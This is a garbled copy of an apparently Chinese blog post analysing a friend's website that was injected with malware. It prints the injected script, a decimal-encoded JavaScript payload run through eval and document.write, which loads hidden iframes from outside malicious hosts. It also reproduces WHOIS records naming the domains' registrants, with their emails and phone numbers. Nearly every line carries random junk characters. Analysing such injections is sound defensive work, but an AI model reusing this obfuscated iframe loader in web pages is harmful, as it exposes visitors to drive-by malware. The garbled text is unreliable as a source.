首发在我的博客里面，
ex=) H%_| zM\IKo_" http://www.areway.cn/?p=175 c-`37. J r8F{A6i N h-,?a_ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
*@~`d*d 0QMaM <script>t=’60,105,102,114,97,109,101,
<H-tZDh5 32,115,114,99,61,104,116,116,112,58,47,47,
_r[r8M B 102,114,101,101,46,117,45,117,117,117,46,99,
sU0Stg8&b 110,47,101,114,114,111,114,46,104,116,109,
hw|t8 ShW 32,119,105,100,116,104,61,49,48,48,32,104,
cp| :8 [ 101,105,103,104,116,61,48,62,60,47,105,102,
n{z8Ao% 114,97,109,101,62′;
iA&oLu[y3 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
qz87iJp& +`9yZOaC# <script>t=’60,105,102,114,97,109,101,32,115,
>mew"0Q 114,99,61,104,116,116,112,58,47,47,102,114,
q$|0)} 101,101,46,117,45,117,117,117,46,99,110,47,
L1rA T 101,114,114,111,114,46,104,116,109,32,119,
Pwg/Vhfh 105,100,116,104,61,49,48,48,32,104,101,105,
:+<t2^)rD 103,104,116,61,48,62,60,47,105,102,114,97,
rI *!"PL 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
5'62ulwMP= document.write(t);</script>
NQg'|Pt (% b24di <html xmlns=”
wFp~ http://www.w3.org/1999/xhtml ` %l&zwj> “>
7x%S](m% <head>
,}n=Z <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
$\0 TD7p <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
)G^p1o;\ <title>首页 - 爱生活家庭网
A0UV+ -PP 5d%_Wb' 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
T^d#hl.U 转换字符串后的大概内容是（谁点击后果自付）：
2'|XtSj <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
, YQ=Zk)w $v W^n4! 查询玉米u-uuu.cn的详细信息：
0c`sb+? Domain Name: u-uuu.cn
fJvr+4i4k ROID: 20070901s10001s64972306-cn
- *r [ Domain Status: ok
H E@-uh Registrant Organization: 王雷
$]nVr(OZ_ Registrant Name: 王雷
>eEnQ}Y Administrative Email:
czlovexs@126.com kHGeCJe\{ Sponsoring Registrar: 北京万网志成科技有限公司
O(WE gz Name Server:ns.yovole.com
mn(/E/ Name Server:ns1.yovole.com
FLK"|*A Registration Date: 2007-09-01 17:54
?ISI[hoc Expiration Date: 2008-09-01 17:54
"k/; `eAP 最后PING了一下地址 都没有什么….
=!(S<]; W;q#ZD(; 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
%N7gT*B: <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
eSJAPU(D <script language=”javascript” src=”
-<]\l3E&J http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Av@& hD\ >
;tXB46 这个玉米应该有可能是木马作者的：
]!]`~ Z/ foafau.info的详细信息：
=7F E/S Access to INFO WHOIS information is provided to assist persons in
YomwjKyu P determining the contents of a domain name registration record in the
~w a%fM Afilias registry database. The data in this record is provided by
p
. lu4 Afilias Limited for informational purposes only, and Afilias does not
qK{| Q guarantee its accuracy. This service is intended only for query-based
?OdV1xB access. You agree that you will use this data only for lawful purposes
b=V)?"e- and that, under no circumstances will you use this data to: (a) allow,
CM`x>J enable, or otherwise support the transmission by e-mail, telephone, or
RA#\ x. facsimile of mass unsolicited, commercial advertising or solicitations
{bW" ~_6} to entities other than the data recipient’s own existing customers; or
qw6EP C (b) enable high volume, automated, electronic processes that send
Q -M
rH queries or data to the systems of Registry Operator, a Registrar, or
7ytm .lU Afilias except as reasonably necessary to register domain names or
.L~f Fns/ modify existing registrations. All rights reserved. Afilias reserves
n'! - Pv the right to modify these terms at any time. By submitting this query,
O)Xd3w' you agree to abide by this policy.
k,a,h^ {}j Domain ID:D22418703-LRMS
Lr K9F^c Domain Name:FOAFAU.INFO
"1_{c *ck Created On:20-Nov-2007 16:05:42 UTC
&uv>'S#% Last Updated On:20-Nov-2007 16:05:44 UTC
:yd=No@ Expiration Date:20-Nov-2008 16:05:42 UTC
5wT' ,U"+ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
l0eANB%Y=@ Status:CLIENT DELETE PROHIBITED
b$;HI7)/K Status:CLIENT RENEW PROHIBITED
] d W%g? Status:CLIENT TRANSFER PROHIBITED
RmcYa j^= Status:CLIENT UPDATE PROHIBITED
kqjxJ 5 Status:TRANSFER PROHIBITED
sx<}
tbG
Registrant ID:GODA-040110615
H4P\hOK7r Registrant Name:liu hong
z:d Xc Registrant Organization:
}K#iCby4 Registrant Street1:beijing
Vww@eK%5Q Registrant Street2:
;+S2h-4 Registrant Street3:
Z}]:x
`fXd Registrant City:beijing
pA* D/P- Registrant State/Province:
zf k'>_' Registrant Postal Code:100000
=4YbVA+( Registrant Country:CN
j:3A;r\ Registrant Phone:+86.860108888777
]$* $0 Registrant Phone Ext.:
HY*l 4QK Registrant FAX:
Q3 K;kS Registrant FAX Ext.:
k/$Ja; Registrant Email:bbbshiji@163.com
SS >:Sw Admin ID:GODA-240110615
h <PYE]?l Admin Name:liu hong
*O2^{ C Admin Organization:
Se!gs> Admin Street1:beijing
cRs{=RGc Admin Street2:
c.|sW2/ Admin Street3:
8Uj68Jl? Admin City:beijing
dM);LT8@ Admin State/Province:
0S)"Q^6n y Admin Postal Code:100000
>qSO,$ Admin Country:CN
z'5;f; Admin Phone:+86.860108888777
^4n2
-DvG Admin Phone Ext.:
.F{}~K] Admin FAX:
{ Hktu| Admin FAX Ext.:
FE$M[^1_ Admin Email:bbbshiji@163.com
9$B)h rJo
Billing ID:GODA-340110615
-~QlHp&SY Billing Name:liu hong
f 3nnXE" Billing Organization:
F?yh23&_4 Billing Street1:beijing
e["Z! D_H Billing Street2:
eukX#0/^ Billing Street3:
$bF`PGR_ Billing City:beijing
YHwVj?6W Billing State/Province:
GV `idFd Billing Postal Code:100000
&-EyM*:u! Billing Country:CN
z{ Zimr Billing Phone:+86.860108888777
Qs#9X=6e@ Billing Phone Ext.:
?M*C*/R Billing FAX:
6/p]jN Billing FAX Ext.:
|q1b8A \ Billing Email:bbbshiji@163.com
'=@-aVp Tech ID:GODA-140110615
_*OaiEL+: Tech Name:liu hong
* @b~f&Lx6 Tech Organization:
hW*^1%1 Tech Street1:beijing
bTA14&& q Tech Street2:
$6 Q2)^LJ Tech Street3:
Z7K!"I Tech City:beijing
^*$WZM MJ1 Tech State/Province:
q iwQUm{ Tech Postal Code:100000
$G^H7|PzdC Tech Country:CN
\rw'QAi8r Tech Phone:+86.860108888777
cG~_EX$ Tech Phone Ext.:
vZ1D3ytfG Tech FAX:
s5_ 1}KKCs Tech FAX Ext.:
^^j|0qshL Tech Email:bbbshiji@163.com
J8 `1V `$ Name Server:NS27.DOMAINCONTROL.COM
Q rrZF. Name Server:NS28.DOMAINCONTROL.COM
OI;L9\MJc Name Server:
g%<{G/Tz Name Server:
<uWJ>sg^ 6 Name Server:
Gc 3PN Name Server:
P~b%;*m}8 Name Server:
vl#V-UW$4P Name Server:
DbPBgD>Q Name Server:
r&j+; JM5 Name Server:
iG;d 0 >Sp Name Server:
l:k E^ = 6 Name Server:
J\Oc]gi\L Name Server:
L@^ !( ]9~#;M%1 接着下载每个文件里面的代码：
<+mO$0h"r 一步一步看..
5jj5 7j" 
%o SfL;W7 
j3V"d 3) 
R[ +]d|L 
MOH,'@&6^ 
B4M'Er{v 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
